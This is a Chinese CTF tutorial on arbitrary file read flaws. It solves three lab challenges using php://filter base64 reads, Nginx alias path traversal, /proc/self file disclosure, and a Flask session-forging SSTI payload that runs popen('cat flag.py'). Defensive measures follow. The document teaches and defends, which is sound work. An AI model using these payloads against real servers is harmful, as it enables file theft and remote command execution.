CTFer成长之路之任意文件读取漏洞
字数 1600 2025-08-11 17:40:32
任意文件读取漏洞详解与CTF实战教学
一、任意文件读取漏洞概述
任意文件读取漏洞(Arbitrary File Read, AFR)是指攻击者能够读取服务器上的任意文件,包括源代码、配置文件、敏感数据等。这种漏洞通常由于服务器未对用户输入进行严格过滤或配置不当导致。
二、CTF中的三种任意文件读取漏洞场景
场景1:PHP协议利用
题目描述:通过PHP协议实现文件读取
环境配置:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
- 80:80
解题步骤:
- 访问基础URL:
http://192.168.10.22/?p=hello - 利用php://filter协议读取文件:
http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag - 对返回的base64编码数据进行解码,得到flag
关键点:
- 使用
php://filter协议可以绕过某些文件读取限制 convert.base64-encode将文件内容以base64编码形式输出,避免直接显示时的格式问题
场景2:Nginx错误配置
题目描述:利用Nginx错误配置实现目录遍历
环境配置:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
ports:
- 80:80
解题步骤:
- 访问基础URL:
http://192.168.10.22/ - 利用Nginx错误配置访问上级目录:
http://192.168.10.22/img../ - 查看目录内容后,直接访问flag文件:
http://192.168.10.22/img../flag
关键点:
- Nginx错误配置导致
img../可以访问根目录 - 这种漏洞通常由于Nginx配置中缺少对路径遍历的防护
场景3:Linux proc目录利用与Flask SSTI
题目描述:结合/proc目录读取和Flask SSTI
环境配置:
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
解题步骤:
1. 信息收集
- 访问基础URL:
http://192.168.10.22:5000/ - 通过
ifconfig查询网络信息
2. 利用/proc目录读取信息
-
获取当前进程执行的命令:
http://192.168.10.22:5000/article?name=proc/self/cmdline(返回
python server.py) -
获取当前工作目录下的server.py源码:
http://192.168.10.22:5000/article?name=proc/self/cwd/server.py
3. 源码审计
- 发现flag在flag.py中
- 发现appkey在key.py中
- 关键词"flag"被过滤,无法直接读取flag.py
4. 获取appkey
http://192.168.10.22:5000/article?name=proc/self/cwd/key.py
(获取到key: Drmhze6EPcv0fN_81Bj-nA)
5. 利用Flask SSTI
-
分析发现存在SSTI漏洞的代码段:
@app.route("/n1page", methods=["GET", "POST"]) def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.form.get("n1code") or None if n1code is not None: n1code = n1code.replace(...) if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''<h1>N1 Page</h1>...''' % session['n1code'] session['n1code'] = None return render_template_string(template) -
使用flask-session-cookie-manager工具:
- 安装:
git clone https://github.com/noraj/flask-session-cookie-manager.git cd flask-session-cookie-manager - 解码现有cookie:
(返回python3 flask_session_cookie_manager3.py decode -c 'eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk' -s 'Drmhze6EPcv0fN_81Bj-nA'{'n1code': None})
- 安装:
-
构造SSTI payload并编码:
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{config.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"得到加密后的cookie
-
修改session后访问页面获取flag
关键点:
/proc/self/目录包含当前进程的信息cmdline- 当前进程的命令行参数cwd- 当前工作目录的符号链接- Flask的SSTI漏洞可以通过模板注入执行系统命令
- Flask的session cookie需要appkey才能伪造
三、防护措施
-
输入验证:
- 严格过滤用户输入的文件路径
- 禁止目录遍历字符(如../)
- 使用白名单限制可访问的文件
-
服务器配置:
- 正确配置Nginx/Apache等服务器,防止目录遍历
- 限制访问敏感目录(如/proc/)
-
代码层面:
- 避免使用用户输入直接拼接文件路径
- 对文件读取操作进行权限检查
- 禁用危险的PHP协议(如php://input)
-
Flask特定防护:
- 避免使用
render_template_string直接渲染用户输入 - 保护appkey不被泄露
- 使用安全的session管理
- 避免使用
四、总结
任意文件读取漏洞是CTF比赛中常见的题型,也是实际渗透测试中高危的漏洞类型。通过这三个场景的学习,我们掌握了:
- 利用PHP协议绕过限制读取文件
- 利用服务器配置不当实现目录遍历
- 结合/proc目录信息泄露和Flask SSTI的综合利用
在实际应用中,开发人员应当严格验证用户输入,运维人员应当正确配置服务器,才能有效防范此类漏洞。